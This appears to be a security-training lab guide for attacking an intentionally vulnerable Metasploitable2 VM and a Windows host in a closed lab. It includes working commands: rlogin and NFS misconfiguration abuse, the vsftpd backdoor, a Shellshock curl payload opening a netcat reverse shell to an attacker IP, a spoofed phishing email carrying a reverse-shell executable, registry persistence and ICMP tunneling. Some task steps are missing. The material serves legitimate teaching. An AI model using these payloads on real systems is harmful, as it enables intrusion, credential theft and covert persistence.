Section 10 Understanding Common Endpoint Attacks Lab
Section 10 Understanding Common Endpoint Attacks Lab
You will perform several ethical hacking experiments as you work through this lab exercise. The focus is on
attacking endpoints. While there will be several specific attacks that you will perform, don't concentrate on the
specifics. There are enumerable specific attacks and they come and go. Instead, concentrate on the bigger
picture. Where do the vulnerabilities lie? You will see misconfigurations, back-doored software,
vulnerabilities in base operating systems, and users who are vulnerable to social engineering. Also,
concentrate on bigger concepts such as pivoting, privilege escalation, persistence, and tunneling, each of
which are leveraged in this lab exercise.
Understand that the lab environment has been made conducive to the ethical hacking scenarios that are
described. For example, this lab exercise will make use of a Linux distribution that is known as Metasploitable
2, which is an intentionally vulnerable VM. Also, security technologies are not fully deployed. In later lab
exercises, you will see how various network security and endpoint security technologies can be used to thwart
the techniques that are demonstrated in this lab exercise.
Perform Reconnaissance
In the first half of this lab exercise, you will use the Metasploitable2 VM to demonstrate several potential
attack vectors.. Metasploitable2 is an intentionally vulnerable Linux virtual machine. It has been deployed on
the DMZ with the hostname SploitMe.abc.public. To demonstrate this fully, the ABC-ASA firewall has been
configured to allow complete connectivity between the SploitMe host, and both the inside and external
networks.
Network attacks generally start with some reconnaissance. Reconnaissance is used throughout attack
campaigns. As one host is compromised, it can be used as a pivot, and reconnaissance can be performed to
reach deeper into the victim’s network. Assume that some footprinting exercises have been done and you
know that there is a host that is named sploitme.abc.public that is Internet-facing. In this section of the lab
exercise, you will perform an nmap scan against the SploitMe host.
Task 1
Access the desktop of Outside-Kali. Open a Terminal Window on Outside-Kali.
Task 2
Execute an nmap scan with the –sV option against the sploitme.abc.public host from the Outside Kali
terminal window. The nmap –sV option probes for open ports to determine the service and version
information. Be patient because this scan generally takes a little over 2 minutes to complete.
Answer
root@Outside-Kali:~# nmap -sV sploitme.abc.public
Exploit a Misconfiguration
Misconfigurations, bad decisions in configuration (valuing convenience over security), and using default
configurations (including credentials) are all too common. As the appreciation for security grows, these types
of vulnerabilities occur less often, but they certainly do occur. This lab task leverages a poorly configured
rlogin service, which provides admin convenience at the expense of security.
As you learned in the TCP/IP Attacks section, the Berkley r-utilities is a set of Unix/Linux tools that feature
remote login (rlogin), remote copying (rcp), and remote command execution (rsh). These commands were
developed for password-free access to Unix/Linux machines. Although the r-utilities have some advantages,
they should be avoided because they can make access to the host extremely insecure, and transmissions using
the r-utilities are not encrypted.
In the previous task, you saw that the TCP port 513 login service is an open port on the sploitme.abc.public
host. Note that the open TCP 512 port is for the exec service (remote process execution), and the open TCP
514 port is for the shell service (remote shell).
Task 3
Access the desktop of Outside-Kali and open a terminal window.
Task 4
Execute the rlogin command from the Outside-Kali terminal window to remotely log in to the
sploitme.abc.public host in the DMZ.
Answer
The prompt changed from root@Outside-Kali to root@SploitMe, indicating that you have a
successful remote console to the SploitMe host—without requiring you to enter any user credentials.
Task 5
Execute the whoami command to determine which user you are logged is as on the sploitme.abc.public host.
Answer
root@SploitMe:~# whoami
root
root@SploitMe:~#
You should see that you got logged in as the root user.
By default, rlogin will log in to the remote host with the account which is the same as the local host
account. Because you were logged in to the Outside-Kali host as the root user, you were able to
rlogin to the remote host also as the root user, simply by using the rlogin sploitme.abc.public
command. If you logged in as any other user name, you would have to specify root as the user with
the –l rlogin option (rlogin -l root sploitme.abc.public).
With root access, you can perform root privileged activities on the exploited sploitme.abc.public host.
In the past, the use of r-utilities was more common, but now r-utilities are rarely used because of security
concerns. If the r-utilities is running on the host, the .rhosts files specify which remote users can access the r-
utilities (such as rsh, rcp, and rlogin) on the local system without a password. The .rhosts file is in a
specific user’s (including root) home directory. If the r-utilities are not running on the host, then it doesn't
matter if the .rhosts files exist. In this lab exercise, the SploitMe host has the rsh-client package installed and
running for this rlogin exploit demonstration.
Task 6
Examine the content of the .rhosts file. Execute the ls -a command to verify that the .rhosts file is there,
then use the cat .rhosts command to examine the .rhosts file content.
Answer
root@SploitMe:~# ls -a
. .config .gconf .profile .ssh
.. Desktop .gconfd .purple .vnc
.bash_history .filezilla .gstreamer-0.10 reset_logs.sh vnc.log
.bashrc .fluxbox .mozilla .rhosts .Xauthority
There are plenty of other things that can be performed as the root user, but this task is just enough to
demonstrate a simple exploit against rlogin and the .rhost + + misconfiguration.
Task 7
Exit the rlogin session to the sploitme.abc.public host to return to the Outside-Kali shell.
Answer
root@SploitMe:~# exit
logout
rlogin: connection closed.
root@Outside-Kali:~#
Was getting root access to a remote host too easy? In a way, yes. Metasploitable 2 is an intentionally
vulnerable Linux virtual machine. Metasploitable2 can be used to conduct security training, test security tools,
and practice common penetration testing techniques.
The r-utilities has fallen out of favor, and SSH is now preferred. The .rhosts + + is a classic misconfiguration.
Before security consciousness evolved in TCP/IP networking, it was a common configuration, but you
shouldn't expect to see it in modern times. The focus is not this particular exploit—understand that
misconfigurations are still a common source of vulnerability. An inexperienced system administrator may
leave insecure default settings in place. Experienced system administrators will also make mistakes. Human
nature seeks convenience, and convenience is often at odds with security.
Note
An example of a software being hacked was the vsftpd-2.3.4.gz archive in the official distribution download
back in 2011. vsftpd, which stands for "Very Secure FTP Daemon" is an FTP server for Unix-like systems,
including Linux. The tampered vsftpd software was only posted for a few days, but anyone who downloaded
this hacked vsftpd software in that time period would unknowingly have the vsftpd software with the back
door. This vsftpd back door was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and
July 1st 2011, and was removed on July 3rd 2011.
A back door is a means of access to a system that bypasses security mechanisms. The system designer may
sometimes install a back door so that the system can be accessed for troubleshooting or other purposes.
However, threat actors often use back doors that they detect or install themselves to gain unauthorized system
access.
In this section of the lab exercise, you will leverage the vsftpd back door. This vsftpd back door on TCP port
6200 is activated by a log in to the ftpd service, and ending the username with smiley face (:)).
Task 8
Access the desktop of Outside-Kali. Open a terminal window on Outside-Kali.
Task 9
Execute the ftp sploitme.abc.public command from the Outside-Kali terminal Window to FTP into the
sploitme.abc.public host in the DMZ. Enter user:) as the username, and simply press Enter for the
password.
Answer
Note: After entering the user:) username and pressing Enter for the password, you might think that the
terminal window is locked up. Don't worry! Simply open a second terminal window on the Outside Kali host
to continue to the next step.
root@Outside-Kali:~#
root@Outside-Kali:~# ftp sploitme.abc.public
Connected to sploitme.abc.public.
220 (vsFTPd 2.3.4)
Name (sploitme.abc.public:root): user:)
331 Please specify the password.
Password:
Task 10
Now, with the vsftpd back door active on the sploitme.abc.public host, use the ncat sploitme.abc.public
6200 -v command on the Outside Kali host second terminal window to remotely connect to the
sploitme.abc.public host.
Answer
The ncat option is a simple, but feature-packed, networking utility that reads and writes data across networks
from the command line. The ncat 6200 option specifies the TCP port number to connect to, and the –v
option specifies the verbose option.
Terminal Window 2
root@Outside-Kali:~# ncat sploitme.abc.public 6200 -v
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Connected to 192.0.2.15:6200.
The back door does not provide a prompt like the normal bash shell, but commands are accepted and output is
displayed, as you will see in the next step.
Task 11
Execute the following commands on the remote sploitme.abc.public host from the ncat session to test the
back door connection:
1. Enter the whoami command to determine which user you are logged in to as on the SploitMe host.
2. Enter the pwd command to determine the current directory path.
3. Enter the cat /etc/shadow commands to display the hashes of the user passwords
Answer
You should see that this vsftpd back door provides root access.
The /etc/shadow command, which stores hashes of the user passwords, is only readable by users with
root privileges.
Task 12
Enter Ctrl-C on both terminal windows to terminate the ncat and ftp sessions to the SploitMe host.
Answer
Terminal Window 2 (with the active ncat session)
root@Outside-Kali:~# ncat sploitme.abc.public 6200 -v
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Connected to 192.0.2.15:6200.
<output omitted>
statd:*:15474:0:99999:7:::
snmp:*:15480:0:99999:7:::
<Ctrl-C>
root@Outside-Kali:~#
Terminal Window 1 (with the active ftp session)
root@Outside-Kali:~# ftp sploitme.abc.public
Connected to sploitme.abc.public.
220 (vsFTPd 2.3.4)
Name (sploitme.abc.public:root): user:)
331 Please specify the password.
Password:
<Ctrl-C>
421 Service not available, remote server has closed connection
root@Outside-Kali:~#
Note: If you are still at an FTP prompt after using Ctrl-C, enter the exit command to terminate the FTP
client.
Was this back door access too easy? Again, yes and no. Metasploitable2 is loaded with vulnerabilities that are
easy to exploit if you know what they are and how to use them. But the ease of exploiting this vulnerability is
less important than the class of vulnerabilities. Back doors have been a common theme throughout the years.
This is not the only example of compromising the software distribution channel to get a back door released
into the wild. The idea of inserting a back door into an installable system can also be much more targeted if
particular users or groups can be tricked into downloading and installing the hacked software. Back doors are
often put into technology products by the developers. Prominent technology companies have been caught with
back doors in their products.
This lab task will leverage network file system (NFS) misconfiguration. The NFS protocol provides
transparent remote access to the shared file systems across the networks. The NFS protocol is designed to be
independent of the machine, the operating system, the network architecture, and the transport protocol. This
independence is achieved through the use of remote procedure call (RPC). RPC is a protocol that one program
can use to request a service from a program located in another computer in a network without having to
understand the network details.
The NFS misconfiguration gives threat actors the ability to remotely place files anywhere in the file system.
For example, a threat actor can place SSH keys in the authorized key repository, then use their public key to
gain remote root SSH access.
Task 13
You will first start by performing a reconnaissance on the sploitme.abc.public host from the Outside Kali host.
Enter the rpcinfo -p sploitme.abc.public command on the Outside Kali host. The rpcinfo command
makes an RPC call to an RPC server and reports what it finds.
Answer
From the output, determine the running NFS versions, and which protocols and ports that NFS is using.
root@Outside-Kali:~# rpcinfo -p sploitme.abc.public
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 48355 status
100024 1 tcp 36644 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 41410 nlockmgr
100021 3 udp 41410 nlockmgr
100021 4 udp 41410 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 35516 nlockmgr
100021 3 tcp 35516 nlockmgr
100021 4 tcp 35516 nlockmgr
100005 1 udp 58233 mountd
100005 1 tcp 46570 mountd
100005 2 udp 58233 mountd
100005 2 tcp 46570 mountd
100005 3 udp 58233 mountd
100005 3 tcp 46570 mountd
You should see that NFS versions 2, 3 and 4 are all running on both TCP and UDP port 2049.
Task 14
View the NFS export list using the showmount -e sploitme.abc.public command. The showmount
command is used to query the mount daemon on a remote host for information about the state of the NFS
server on that machine. The -e or –exports option displays the NFS server’s export list.
Answer
The first field (/) is the directory that is being exported. In this case, the root directory (/) is being
exported.
The second field (*) is the network that is allowed to access the exported directory. This often looks
something like 10.10.4.0/24, but in this case it is *. The asterisk (*) means the any of the networks can
access the exported directory.
In this example, the NFS export list was intentionally misconfigured to allow any networks access to
the root directory.
A more typical restrictive NFS export list may look more like the following:
etc…..
Next, you will create an RSA key pair. Afterwards, you will place it onto the SploitMe host. The RSA key
pair that is saved on the SploitMe host will then be used to authenticate the remote SSH access to the
SploitMe host.
Task 15
From the Outside Kali host, you will first use the ssh-keygen command to create an RSA key pair. For this
demo, just pressing Enter on your keyboard when prompted for the filename and passphrase is fine. By
default, the generated RSA public key will be saved in the /root/.ssh/id_rsa.pub file on the Outside Kali host.
Answer
root@Outside-Kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
f7:56:07:73:4f:db:1c:e3:5c:18:4b:fd:37:95:30:64 root@Outside-Kali
The key's randomart image is:
+---[RSA 2048]----+
| .E+..|
| ...=o|
| =o*|
| oBX|
| S . .+B|
| . . . . |
| o |
| . |
| |
+-----------------+
An SSH server can authenticate clients using various methods. One of the most common methods is
RSA key authentication. To enable RSA key authentication, the client’s public key is stored on the
SSH server. The public key must be added to the .ssh/authorized_keys file within the remote user's
home directory. When the client attempts to connect to the SSH server, the SSH server verifies if the
client has a private key that corresponds with one of the authorized public keys. If the private key is
verified to match an authorized public key, the client is authenticated and a Shell session is launched.
Now you have a public private key pair that will be used for the SSH authentication. In the next few
steps, you will mount the NFS file share, and put your public key in the authorized key's list for the
root user on the SploitMe host.
Task 16
Mount the NFS remote file share from the SploitMe host to the Outside Kali host. Begin by creating a
directory to use as the mount point. Use the mkdir sploitme command to create the sploitme directory in
which to place the NFS remote file share.
Answer
Answer
root@Outside-Kali:~# mount -t nfs -o nolock sploitme.abc.public:/ sploitme
Task 18
Use the ls sploitme command to examine the content of the sploitme NFS mount.
Answer
root@Outside-Kali:~# ls sploitme
bin dev initrd lost+found nohup.out root sys var
boot etc initrd.img media opt sbin tmp vmlinuz
cdrom home lib mnt proc srv usr
The ls for the sploitme mount point is showing the root directory of the SploitMe host.
Task 19
Finally, use the cat ~/.ssh/id_rsa.pub >> sploitme/root/.ssh/authorized_keys command to copy
the RSA public key file to the /root/.ssh/authorized_keys file in the sploitme NFS mount. This command is a
bit tedious to type, so you can copy and paste it from the AttackingEndpoints.txt file in the SECFND folder
on the DVD drive (Cyber).
Answer
cat displays the contents of the ~/.ssh/id_rsa.pub file, and then >> redirects the output, appending it to
the end of sploitme/root/.ssh/authorized_keys (which is /root/.ssh/authorized_keys on the SploitMe
host). You now have your public key on the SploitMe host authorized key list!
Task 20
Execute the umount sploitme command to unmount the sploitme NFS mount on the Outside Kali host.
Answer
Now that you have successfully placed your RSA public key in the SploitMe host authorized key list,
in the next step, you will SSH to the SploitMe host as the root user.
Task 21
From the Outside Kali host, use the ssh sploitme.abc.public command to SSH to the SploitMe host. Then
use the whoami command to verify that you are logged in as the root user on the SploitMe host.
Answer
root@Outside-Kali:~# ssh sploitme.abc.public
The authenticity of host 'sploitme.abc.public (192.0.2.15)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'sploitme.abc.public,192.0.2.15' (RSA) to the list of known
hosts.
Last login: Tue Sep 27 13:21:11 2016 from 209.165.200.235
Linux SploitMe 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
root@SploitMe:~# whoami
root
You SSH to the SploitMe host as the root user because you are root on the Outside Kali host. If you
did not log in as the root user on the Outside Kali host, you would have to use ssh
root@sploitme.abc.public to SSH in as the root user.
Task 22
Exit out of the SSH session to the SploitMe host.
Answer
root@SploitMe:~# exit
logout
Connection to sploitme.abc.public closed.
root@Outside-Kali:~#
Again, there was a terrible NFS misconfiguration which makes this exploit all too simple. But bigger concepts
are being demonstrated here. You first started with remote NFS file share access, and then you turned that into
SSH root access, which is an example of privilege escalation. You also have persistent access (meaning you
can still SSH to the SploitMe host, even if the SploitMe host is restarted), since your public key is stored in
the /root/.ssh/authorized_keys file. Persistence access is often the goal of a threat actor.
Shell shock is a vulnerability in which the secret string, () { :; };, is used to inject a bash shell command within
something that is being parsed by bash. If a web server uses bash scripts to produce web page content, then
the secret string can be incorporated into an HTTP header along with a command allowing remote execution
of arbitrary code. This is an example of a command injection attack.
This lab task will take advantage of the Shell Shock vulnerability on the SploitMe host to open a reverse shell
connection to the Outside Kali host that is listening on the back door port.
Task 23
From the Outside Kali host, open Iceweasle (the web browser) and browse to http://sploitme.abc.public.
Answer
In the next step, you will perform a reverse shell connection from the SploitMe host (the exploited victim) to
the Outside Kali host (the attacker). For example, a reverse shell is used if a firewall is between the attacker
and the victim, and the firewall does not allow inbound connections from the attacker to the victim, which is
not the case in this lab scenario.
Task 24
From the Outside Kali host, open a terminal window, and enter the nc –lvp 9876 command to listen for incoming
connections on TCP port 9876. The nc -l option specifies that nc should listen for an incoming connection rather
than initiate a connection to a remote host. The nc –v option specifies a more verbose output. The nc –p option
specifies the source port.
Answer
The nc (or netcat) utility can be used to open TCP connections, send UDP packets, listen on arbitrary TCP and UDP
ports, do port scanning, and so on.
Terminal Window 1
From the Outside Kali host, open a second terminal window, and enter the curl -k -H 'X: () { :;};
/bin/bash -c "nc -e /bin/bash 209.165.200.235 9876"' http://sploitme.abc.public/cgi-
bin/sstest.sh command. This command is a bit tedious to type, so you can copy and paste it from the
AttackingEndpoints.txt file in the SECFND folder on the DVD drive (Cyber). The curl command is used to send a
request to the SploitMe remote server. The nc –e option specifies the file to execute after the connection.
Terminal Window 2
The command that is being injected is nc -e /bin/bash 209.165.200.235 9876. netcat is executing
/bin/bash (so that there is a Shell to interact with), and then connecting to the Outside-Kali host
(209.165.200.235) on TCP port 9876.
The first terminal window that was set up as a listener waiting for this connection should show a connection to
209.165.200.235 (Outside Kali host) from the SploitMe host (192.0.2.15 is the NAT translated public IP
address of the SploitMe host).
This demonstrates a reverse shell connection from the exploited SploitMe host back to the Outside Kali host
(in this case, the Outside Kali host represent the attacker’s host).
Task 26
Go back to the first terminal window. You should see that a reverse shell connection spawned as shown below. From
the reverse shell connection, execute the whoami and pwd commands. You should see that the commands are
executed against the SploitMe host.
whoami
www-data
pwd
/usr/lib/cgi-bin
Task 27
Answer
exit
root@Outside-Kali:~#
Curl will also be terminated after you terminated the nc session.
root@Outside-Kali:~# curl -k -H 'X: () { :;}; /bin/bash -c "nc -e /bin/bash
209.165.200.235 9876"' http://sploitme.abc.public/cgi-bin/sstest.sh
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at sploitme.abc.public Port 80</address>
</body></html>
root@Outside-Kali:~#
You should have successfully used the Shellshock exploit on the SploitMe host to start a reverse Shell connection to
the Outside Kali host.
In the next step, you will perform a Shell connection in the other direction, from the Outside Kali host
(attacker) to the SploitMe host (the exploited victim).
Task 28
From the Outside Kali host, use one window terminal to enter the curl -k -H 'X: () { :;}; /bin/bash -c
"nc -e /bin/bash -lvp 9876"' http://sploitme.abc.public/cgi-bin/sstest.sh command. This will
cause the SploitMe host to execute nc -e /bin/bash -lvp 9876, which is the netcat command that is providing
a bash shell and listening on for incoming connections on TCP port 9876. You can copy and paste the long command
string from the AttackingEndpoints.txt file in the SECFND folder on the DVD drive (Cyber).
Answer
Terminal Window 1
From the Outside Kali host second terminal window, enter the nc sploitme.abc.public 9876 command to start
a Shell connections to the SploitMe host on TCP port 9876. The Shell connection should be successful.
Task 30
From the Shell connection, execute the whoami and pwd commands. You should see that the commands are executed
against the SploitMe host.
Answer
Terminal Window 2
whoami
www-data
pwd
/usr/lib/cgi-bin
Task 31
Exit the nc session. This will also terminate the curl in the first terminal window.
Answer
exit
root@Outside-Kali:~#
This is a simple example of exploiting an operating system flaw. Although the Bash vulnerability Shell Shock
has long been patched up, similar operating system flaws are constantly being exploited by threat actors.
Security analysts should be aware of all the operating system flaws that are being discovered and patch them
immediately as updates become available.
Use a Pivot
Pivoting is a central concept in network attacks. If a threat actor is on host A and wants to reach host C, but
defenses prevent host A from accessing host C, then a pivot may be useful. If there is a host B that is
accessible to host A and, in turn, has access to host C, it is a potential pivot point. If the threat actor on host A
can compromise host B, then the threat actor can pivot from host B to reach host C.
This section of the lab exercise will demonstrate this pivoting concept. Using the previously exploited
SploitMe host, you will pivot from the Outside Kali host to the SploitMe host, then from the SploitMe host, to
perform reconnaissance on the inside hosts.
Task 32
The most convenient exploit that you already have in place to use for this lab task is the SSH root access to the
SploitMe host. From the Outside Kali host, SSH to the SploitMe Host.
Answer
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
root@SploitMe:~#
Task 33
Use the nmap –sP command to find the active hosts on the inside subnets. You could scan the entire 10.0.0.0/8
network, but it would take a very long time. For convenience, scan just the 10.10.3.0/24 and 10.10.4.0/24 inside
subnets. The nmap –sP option pings the given IP address range to check if the hosts are alive. This scan may take a
couple minutes to complete. You should see the hosts on both inside subnets being discovered.
Answer
Use the nmap –O 10.10.3.1 command to scan 10.10.3.1. The nmap –O option enables operating system detection.
You should see that the result of the nmap scan shows the open ports on 10.10.3.1, and that 10.10.3.1 is probably a
Cisco Catalyst switch with the guessed IOS version.
Answer
Pivoting is a unique technique for using an instance (also referred to as a "foothold") to “move” around the
network. Using the first compromised host allows and aids in the compromise of other systems that would
otherwise be inaccessible. This section of the lab exercise demonstrated a simple pivot from the Outside Kali
host to the SploitMe host by using a vulnerability on the SploitMe host which we exploited in the earlier lab
task. By pivoting to the SploitMe host, you were able to use the nmap command to discover the inside hosts.
Phishing is a social engineering technique which takes different forms. One simple form is to send an email
with a malicious attachment. If the user can be tricked into opening the malicious attachment, a malicious
process can be introduced on their internal system, which can then connect the internal system to the external
threat actor.
In this section of the lab exercise, you will send a phishing email. You will source the email from the outside,
but you will make it seem to be coming from a peer internal user. When this attachment is opened, it will
launch a reverse TCP connection back to a system under the threat actor's control.
We have already prepared a malicious file attachment that, on a Windows system, will open a reverse TCP
connection back to the Outside Kali host, destination port 4444.
Task 35
From the Outside Kali host, use the file explorer to navigate to the SECFND directory on the DVD drive. Drag and drop
the reverseSh-235.exe file to the desktop. Then right-click and rename the file x.exe.
Answer
Task 36
From the Outside Kali host, click the Icedove icon on the left to launch Icedove. Icedove is the Mozilla's open
source email client product.
1. Drag and drop the x.exe file into the header area of the email so that it becomes an attachment.
2. From: Click and select Customize From Address. Change the sender to Kevin <kevin@abc.public>.
3. To: wendy@abc.public
4. Subject: That’s a cool game!
5. Body: Hey Wendy, Remember that cool game? I attached it. It's lots of fun!
Your friend Kevin
6. Click Send.
Answer
Task 37
From the Outside Kali host, launch a Metasploit listener on port 4444 that will accept the reverse connection once the
malicious attachment is opened. Click the MetaSploit Framework icon (M on the Shield) on the left to launch the MSF
console (msf >), then enter the following to start the Metasploit listener on port 4444.
Access the Inside Windows host console. Open the Thunderbird mail client. Open the email from Kevin and save the
x.exe attachment to the desktop.
Answer
Task 39
Launch x.exe. Of course, there is a warning. Uncheck the box for “Always ask before opening this file.” This is required
in order for the next task to work as expected.
Answer
Note: To the user, nothing seems to happen when the x.exe file executes.
Task 40
Return to the Outside Kali host. You should see that a Meterpreter session is established between
209.165.200.235 (Outside Kali host) port 4444 and 192.0.2.2 (Inside Windows host NAT translated public IP
address).
Answer
meterpreter >
Task 41
Enter the sysinfo and the getuid commands to verify that you have a reverse connection open to the Inside
Windows host as the admin user.
Answer
Note
Leave the Meterpreter session running because you will need to use it in the next section of the lab exercise.
In a social engineering attack, an attacker uses human interaction (social skills) to obtain or compromise
information about an organization or its computer systems.
This section of the lab exercise demonstrated a simple but very common social engineering/phishing attack by
using email as the attack vector. If the victim is tricked into opening the malicious email attachment, the
victim’s machine will be compromised—and usually the victim is unaware that it has been compromised.
One of the best preventive measures against engineering/phishing attacks is to train users to protect
themselves, for example:
Be very suspicious of unsolicited phone calls, visits, or email messages from individuals asking for
any sensitive information. If an unknown individual claims to be from a legitimate organization, try to
verify his or her identity directly with the company.
Do not provide personal information, or information about your organization, including its structure or
networks, unless you are certain of a person's authority to have the information.
Pay attention to the URL of a website. At first glance, malicious web sites and legitimate web sites
may look identical.
Establish Persistence
Similar to privilege escalation and pivoting, persistence is another core concept that is leveraged by threat
actors. Spawning a reverse connection is useful, but if the user does something to disconnect from the
network, such as a reboot, the attack reverse connection is terminated and may not be able to be initiated again
unless the attack can establish a persistence presence.
In this section of the lab exercise, you will use the reverse connection that you obtained in the previous lab
task to update the Inside Windows host registry setting so that the reverse connection launches whenever the
user logs into the Inside Windows host.
Task 42
From the Outside-Kali host existing Meterpreter session, enter the shell command to open a command line
on the Inside Windows host.
Answer
C:\Users\admin\Desktop>
Task 43
The x.exe malicious email attachment from the previous steps should still be on the Inside Windows desktop.
Use the copy x.exe c:\logs command to copy the file to a less obvious location (in the logs directory).
Answer
C:\Users\admin\Desktop>copy x.exe c:\Logs
copy x.exe c:\Logs
1 file(s) copied.
Once the attacker has compromised a system, they often perform tasks to hide their tracks.
Attackers need to destroy evidence of their presence and activities for several reasons, such as being
able to maintain access and evade detection.
It is imperative for attackers to make the system look exactly as it did before they gained access and
established back doors for their use.
Task 44
Add the hidden c:\Logs\x.exe executable to the run list in the Windows registry. Instead of typing in the long
command string in the example, you can copy and paste it from the AttackingEndpoints.txt file in the
SECFND folder on the DVD drive (Cyber).
C:\Users\admin\Desktop>REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V
"My App" /t REG_SZ /F /D "C:\Logs\x.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F
/D "C:\Logs\x.exe"
The operation completed successfully.
Editing the Windows registry setting to enable a malicious executable to run every time that the user
logs in is one example of how attackers can enable a persistence presence on the compromised host.
Task 45
Exit the session to the Inside Windows host in order to return to the Meterpreter session. Then put the
Meterpreter session in the background:
Answer
C:\Users\admin\Desktop>exit
exit
Answer
Active sessions
===============
Answer
msf exploit(handler) > run
Answer
Answer
This step validates that you have a persistence presence on the Inside Windows host. Even if the Inside
Windows host is restarted, the reverse TCP connection from the Inside Windows host (the victim) to
the Outside Kali host (the attacker) will still be successful.
Task 50
Exit the Meterpreter session.
Answer
root@Outside-Kali:~#
In this section of the lab exercise, we demonstrated how attackers can maintain a persistence presence by
hacking the Windows registry setting. There are many other ways attackers can use to maintain persistency,
for example, by hacking the basic input/output system (BIOS), hacking the boot sectors of a hard drive, using
Windows log on scripts, and using the Windows Task Scheduler.
This lab task will demonstrate tunneling exfiltrated data via an ICMP tunnel. To make this demonstration fit
within the time constraints of the lab, we will create an ICMP tunnel between the Inside Kali host (the tunnel
proxy client) and the Outside-Kali host (the tunnel proxy server), allowing the Inside Kali host SSH traffic to
be tunneled using ICMP echo request and echo reply packets.
SSH itself provides privacy. Using an ICMP tunnel hides the presence of the SSH traffic.
Task 51
From the Outside Kali host, enter the ptunnel command without any command options to start the ptunnel
proxy server on the Outside Kali host side.
Answer
root@Outside-Kali:~# ptunnel
[inf]: Starting ptunnel v 0.71.
[inf]: (c) 2004-2009 Daniel Stoedle, <daniels@cs.uit.no>
[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Forwarding incoming ping packets over TCP.
[inf]: Ping proxy is listening in privileged mode.
Ptunnel is an application that allows you to tunnel TCP connections to a remote host using ICMP echo
request and reply packets.
Task 52
Access the Inside Kali host, open a terminal window and enter the ptunnel -p 209.165.200.235 -lp 2222
-da 209.165.200.235 -dp 22 command to setup the ptunnel proxy client on the Inside Kali host side.
Answer
The ptunnel -p option says where the proxy server is, -lp is the local port on the proxy client, and -da and
dp specify where the proxy server is supposed to forward the traffic that is leaving the tunnel. In this step, we
are only forwarding the traffic back to the Outside-Kali host (209.165.200.235) on port 22, but we could have
forwarded the traffic to anywhere that the Outside Kali host can reach.
Task 53
Launch Wireshark (Applications > 09 Sniffing & Spoofing > wireshark) on the Inside Kali host and start a packets
capture on the eth0 interface.
Task 54
On the Inside Kali host (ptunnel proxy client), open another new terminal window and launch SSH connecting to the
2222 local port on the localhost. Use Cisco123! as the password. This will cause the SSH traffic to be tunnelled inside
ICMP using the ptunnel.
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Examine the Wireshark packets capture on the Inside Kali host. You should not see any SSH traffic. You should see a lot
of ICMP echo/echo replies! You can do other things with this SSH connection, but this is enough to demonstrate the
tunnel.
Answer
Task 56
You may want to close things, such as Wireshark, and the ptunnel. Because this is the end of this lab exercise,
they are no longer needed.
In this Attack Endpoints lab exercise, you tunneled the SSH traffic inside an ICMP tunnel. Other common
protocols threat actors often use to tunnel their traffic include HTTP, HTTPS, DNS, and IRC. It is very
important for security analysts to be able to recognize the malicious tunneling activities, for example, by
examining packet captures for suspicious and unusual payload inside another protocol, such as DNS or ICMP.
You performed several ethical hacking experiments, focusing on attacking the endpoints. As an entry level
security analyst, you should be aware of some of the basic techniques and methods that attackers use to: